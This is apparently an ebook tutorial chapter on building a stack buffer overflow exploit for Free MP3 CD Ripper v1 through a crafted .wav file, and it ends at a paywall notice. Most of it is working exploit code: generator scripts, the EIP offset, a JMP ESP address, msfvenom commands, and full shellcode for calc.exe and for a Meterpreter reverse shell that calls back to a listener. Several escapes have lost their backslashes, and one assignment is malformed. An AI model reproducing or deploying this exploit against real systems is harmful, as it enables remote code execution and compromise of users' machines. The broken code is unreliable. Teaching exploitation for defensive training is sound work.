Writing a basic buffer overflow exploit

We are going to exploit version 1 of the Free MP3 CD Ripper software program. To do this, we need to download and install the product from this location http://free-mp3-cd-ripper.en.softonic.com/. To take advantage of this program's weakness, we are going to use the following Python script, which will generate a malicious .wav file that can be uploaded into the program. The data will be interpreted and will create an overflow condition that we can observe and attempt to tailor and build an exploit. As mentioned before, we are going to load up a number of different characters into this file so that we can guestimate the relative location of the stored EIP value.

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4000
fill +="B"*1000
fill +="C"*1000
exploit = fill
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

This script will fill the malicious wave file with four thousand As, one thousand Bs, and one thousand Cs. Now, open the program with Immunity, as shown following:

Writing a basic buffer overflow exploit

Generate the malicious wave file with your new Python script, as shown following:

Writing a basic buffer overflow exploit

Then, load up the new file with the vulnerable program, as shown following:

Writing a basic buffer overflow exploit

The results of this is that we get a crash solidly in the Bs, as seen below, which means our EIP overwrite is somewhere between four thousand and five thousand characters.

Writing a basic buffer overflow exploit

Additionally, we see that we have Bs in EBX, EBP, ESI, and EDI, but what about ESP? We need to find room to place our shell code, and the easiest way to do that is to work with ESP. So, what we will do is dump the contents of that register—you do this by right clicking on the register and viewing the details in the bottom-left corner pane of Immunity as show by the two image components.

Writing a basic buffer overflow exploit

As you can see, we have filled the ESP with Bs as well. We need to narrow down the locations that we can place our shellcode and location of EIP, so we are going to use Metasploit's pattern_create.rb. First, we need to find the EIP, so we are going to generate five thousand unique characters. When you use this script, you will be able to inject the data, and then identify the exact location of the overwrite. The figure below highlights how to generate a unique data set generation.

Writing a basic buffer overflow exploit

Now, copy the characters out of the output file, and feed them into the program again as a new .wav file. When we load the new .wav file in, we see the program again crashes and a value overwrites the EIP.

Writing a basic buffer overflow exploit

We need to copy that value and use it to determine the actual offset needed for our exploit using the patter_offset.rb script by feeding in the memory address and the number of characters that we originally asked for.

Writing a basic buffer overflow exploit

So, now we update our fill variable to that value. We have to verify that this junk data is going to cause us to land directly on the EIP so that it can be overwritten. A test case can be executed to verify that we have pinpointed the EIP by setting it explicitly using the following code:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x42424242)
exploit = fill + eip
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

The output of that code produces the following results, which means that we have pinpointed our EIP location:

Writing a basic buffer overflow exploit

Now, remember that we verified we overwrote the ESP during our testing. We are going to use the area between the ESP and EIP to hold our shell code. So, we are looking for the command jmp esp, and we are going to use Microsoft's shared libraries to do so. The DLLs are loaded and reused throughout each program cycle. That means that we can look at DLLs the program uses and attempt to find a memory location that can be used to reference the jmp esp command. We can then replace the EIP value with the memory location of the jmp esp instruction from a viable DLL.

If you hit the Alt + E, you will be provided a new window, which contains the entire affected program DLLs and the system DLLs. See the following screenshot, which highlights those DLLs:

Writing a basic buffer overflow exploit

Program and the system DLLs

We double-click the kernel32.dll, and then right-click to search for a specific command:

Writing a basic buffer overflow exploit

Once we click on the command, we search for the operation instruction set jmp esp, which tells the program to jump to ESP.

Writing a basic buffer overflow exploit

We copy the results and get the following information:

7C874413   FFE4             JMP ESP

Next, we set the EIP to the address discovered. This address is a good target address because there are no bad characters, such as "x00". Those characters would actually stop the complete execution of our code. There are a number of ways to test for bad characters, but there are a few standards we try to avoid.

  • Null ("x00")
  • Form Feed ("xFF")
  • Tab ("x09")
  • Line Feed ("x0A")
  • Carriage Return ("x0D")

Other characters can be tested for by fuzzing the application with lists of potentially bad characters. You inject these lists of character sets from "x00" to "xFF". When you see the application crash, you have identified a bad character. Delete the character from the tuple, store the value, and try again. Once this executes without crashing the attack via a bad character, you have determined all the viable bad characters. We can test for bad characters after we determine how big our remaining stack space is and the offset.

Next is the identification of the stack offset space. It would be ineffective to place the shellcode right after the EIP value in the exploit script. That may cause characters to be read out of order and, in turn, cause shellcode failure.

This is because if we jumped to the ESP and we did not take into consideration the slack space, we might offset the code. This means that full instruction sets would not be interpreted holistically. This would mean that our code would not execute properly. Additionally, if we were imprecise and stuck a ton of NOP data between the EIP and ESP, you may take up valuable space that could be used for your shellcode. Remember that stack space is limited, so being precise is beneficial.

To test for this, we can write a quick generator script, so we are not messing with our actual exploit script. This script helps us test for slack space between the EIP and the ESP.

#!/usr/bin/env python
data = "A"*4112 #Junk
data += "BBBB" #EIP
data += "" #Where you place the pattern_create.rb data
open('exploit.wav', 'w').close()
with open("exploit.wav", "w") as text_file:
    text_file.write(data)

We then run the same pattern_create.rb script, but just use 1000 characters instead of 5000. Stick the output data into the data variable and run the generator script. Load the exploit.wav file into the program while monitoring it with Immunity, as done before. When the program again crashes, look at the dump of the ESP.

Writing a basic buffer overflow exploit

When you view the dump, you will see that ten characters are offset initially. This means to make the execution of this code more reliable, we need to add a NOP of ten or more characters between the EIP and the shellcode. Now, we need to determine how much space we have in this location of the stack to inject our code. We look at our memory dump and we find the difference between the beginning and ending addresses to determine how much room we have. Taking the two addresses, we find that we have limited space to play with roughly - 320 bytes.

If we were doing a single stage payload, there are a number of steps we can execute to verify that we are going to stay in range. We are doing a multiple stage payload, though, which means we need to have more than the space provided. This means we need to modify the stack size in real time, but before that, we should confirm that we can get code execution, and you need to understand what running out of stack space looks like.

Now that we know our stack space and our offset, we can adjust the script to search for potential bad characters. Next, we add a NOP sled at the end of the code to ensure the execution of the Jump to ESP slides until it hits executable code. We do this by calculating the entire area that we have to play with and subtracting the offset and the shellcode from it.

We then create a NOP sled that takes up the remaining area. The easiest way to execute this is by using an equation similar to this nop = "x90"*(320-len(shell)-len(offset)). The updated Python code looks like the following. Using the Python following script we can test for bad characters; note that we had to do this after our initial sizing because our areas of issue are going to be in the remaining stack space.

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "x90"*10
available_shellcode_space = 320
characters"x00x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0e"
"x0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1d"
"x1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2c"
"x2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3b"
"x3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4a"
"x4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59"
"x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68"
"x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77"
"x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86"
"x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95"
"x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4"
"xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3"
"xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2"
"xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1"
"xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexef"
"xf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfe"
"xff")
nop = "x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

We should generate our mock shellcode that the program is going to jump to. For an initial test case, you want to start with a simple example that will not have any other dependencies. So, we can tell the injected code to call an instance of calc.exe. To do that, all we have to do is use msfvenom to generate the shell code.

msfvenom -p windows/exec CMD=calc.exe -f c -b 'x00xff'

What this does is generate the shellcode in a format that can be placed in a Python tuple and removes potential bad characters 'x00', 'xff'. Tools like msfvenom do this for us automatically by using encoders. An encoder's purpose is to remove bad characters; there is a big misconception that they are used to bypass HIPS like antivirus.

Years ago, basic signature analysis in HIPS might have not caught an exploit because it did not match a very specific signature. Today, security tool developers have gotten better and triggers are more analytical by design. So, the fallacy of encoders helping stop HIPS solutions from catching an exploit are finally dying off.

Writing a basic buffer overflow exploit

Our new exploit with the calc.exe code can be seen as follows:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "x90"*10
available_shellcode_space = 320
shell =("xdaxd3xd9x74x24xf4xb8x2cxdexc4x11x5ax29xc9xb1"
"x31x31x42x18x03x42x18x83xeaxd0x3cx31xedxc0x43"
"xbax0ex10x24x32xebx21x64x20x7fx11x54x22x2dx9d"
"x1fx66xc6x16x6dxafxe9x9fxd8x89xc4x20x70xe9x47"
"xa2x8bx3exa8x9bx43x33xa9xdcxbexbexfbxb5xb5x6d"
"xecxb2x80xadx87x88x05xb6x74x58x27x97x2axd3x7e"
"x37xccx30x0bx7exd6x55x36xc8x6dxadxccxcbxa7xfc"
"x2dx67x86x31xdcx79xcexf5x3fx0cx26x06xbdx17xfd"
"x75x19x9dxe6xddxeax05xc3xdcx3fxd3x80xd2xf4x97"
"xcfxf6x0bx7bx64x02x87x7axabx83xd3x58x6fxc8x80"
"xc1x36xb4x67xfdx29x17xd7x5bx21xb5x0cxd6x68xd3"
"xd3x64x17x91xd4x76x18x85xbcx47x93x4axbax57x76"
"x2fx34x12xdbx19xddxfbx89x18x80xfbx67x5exbdx7f"
"x82x1ex3ax9fxe7x1bx06x27x1bx51x17xc2x1bxc6x18"
"xc7x7fx89x8ax8bx51x2cx2bx29xae")
nop = "x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

We then run the code to generate the new malicious .wav file, and then load it into the program to see if the EIP is overwritten and the calc.exe binary is executed.

Writing a basic buffer overflow exploit

So now that the basic exploit written, we can update it to establish a session shell through this weakness. First, we need to determine what payload size would be best for our exploit. This stack space overall is limited, so we can try and minimize our footprint initially, but as you will see this will not matter.

You can generate your payloads by guessing and checking with msfvenom and the -s flag, but this is inefficient and slow. You will find that as payloads are generated, they may not be compatible based on the payload type you choose and the encoders needed to remove bad characters and size the package, appropriately.

Instead of playing the guessing game, we can determine a good starting point by running the payload_lengths.rb script in the /usr/share/metasploit-framework/tools directory. These scripts provides great details about the payload lengths, but consider that we are looking for small payloads below 300 characters if possible. So, we can run the script awk for the size of the payload and grep for payloads that are used in Windows environments, as shown following:

Writing a basic buffer overflow exploit

There were just under 40 results from this commands output, but some good options include the following:

Writing a basic buffer overflow exploit

On our Metasploit instance, we startup exploit/multi/handler that will receive the shell.

Writing a basic buffer overflow exploit

Then, we generate our new shell code a windows/meterpreter/reverse_nonx_tcp and replace our calculator code with it. We choose this payload type because it is a very small Meterpreter, which means that since we know our memory footprint could be limited, we have a better chance of success with this exploit.

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -f c -b 'x00xffx01x09x0ax0d'

Tip

These examples have additional bad characters listed in them. Out of habit, I usually leave these in when generating payloads. Keep in mind the more bad characters you have, the more the encoder has to add operations that do functionally equivalent manipulations. This means as you encode more, your payload usually gets bigger.

The output of the command is as follows, and it only has a size of 204 bytes:

Writing a basic buffer overflow exploit

When placed in the exploit code, we get the following Python exploit:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "x90"*10
available_shellcode_space = 320
shell =("xbax16xdfx1bx5dxd9xf6xd9x74x24xf4x5ex31xc9xb1"
"x2dx31x56x13x83xc6x04x03x56x19x3dxeexa1x4fx2a"
"x56xb2x76x53xa6xbdxe8x9dx82xc9x95xe1xbfxb2x58"
"x62xc1xa5x29xc5xe1x38xc7x61xd5xa0x16x98x27x15"
"x81xc8x89x5fxbcx11xc8xe4x7ex64x3axa7x18xbex08"
"x5dx07x8bx07xd1xe3x0dxf1x88x60x11x58xdex39x36"
"x5bx09xc6x6axc2x40xa4x56xe8x33xcbx77x21x6fx57"
"xf3x01xbfx1cx43x8ax34x52x58x3fxc1xfax68x61xb0"
"xa9x0exf5x0fx7fxa7x72x03x4dx68x29x85x08xe4xb1"
"xb6xbcx9cx61x1ax13xccxc6xcfxd0xa1x41x08xb0xc4"
"xbdxdfx3ex90x12x86x87xf9x4axb9x21x63xccxeexa2"
"x93xf8x78x54xacxadx44x0dx4axc6x4bxf6xf5x45xc5"
"xebx90x79x86xbcx02xc3x7fx47x34xe5xd0xf3xc6x5a"
"x82xacx85x3cx9dx92x12x3ex3b")
nop = "x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

When executed, we get following results, which shows the exploit generating a shell:

Writing a basic buffer overflow exploit

Now, this example is simple and it may provide a local exploit to the system, but there is an issue our exploit fails because it runs out of space. As mentioned previously, we have to adjust the area where we are placing our shell code.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.145.9.148